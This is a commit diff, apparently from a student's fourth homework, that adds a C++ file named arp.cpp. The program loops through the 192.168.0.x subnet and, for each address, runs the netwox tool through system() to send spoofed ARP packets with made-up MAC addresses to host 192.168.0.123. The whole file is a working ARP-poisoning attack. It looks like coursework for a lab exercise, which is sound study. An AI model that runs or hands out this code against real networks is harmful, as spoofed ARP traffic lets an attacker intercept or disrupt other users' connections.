Adding hw4

hw4/ARPAttack/arp.cpp

@@ -0,0 +1,19 @@
+#include <iostream>
+#include <cstdlib>
+
+using namespace std;
+
+int main()
+{
+    char add[50];
+    char ethadd[50];
+    char arppoison[1000];
+
+    for(int i = 1; i < 255; ++i)
+    {
+        sprintf(add, "192.168.0.%d", i);
+        sprintf(ethadd, "%x:%x:%x:%x:%x:%x",i,i,i,i,i,i);
+        sprintf(arppoison, "netwox 72 --ips \"192.168.0.123\" --device \"Eth0\" --src-eth %s --src-ip %s", ethadd, add);
+        system(arppoison);
+    }
+}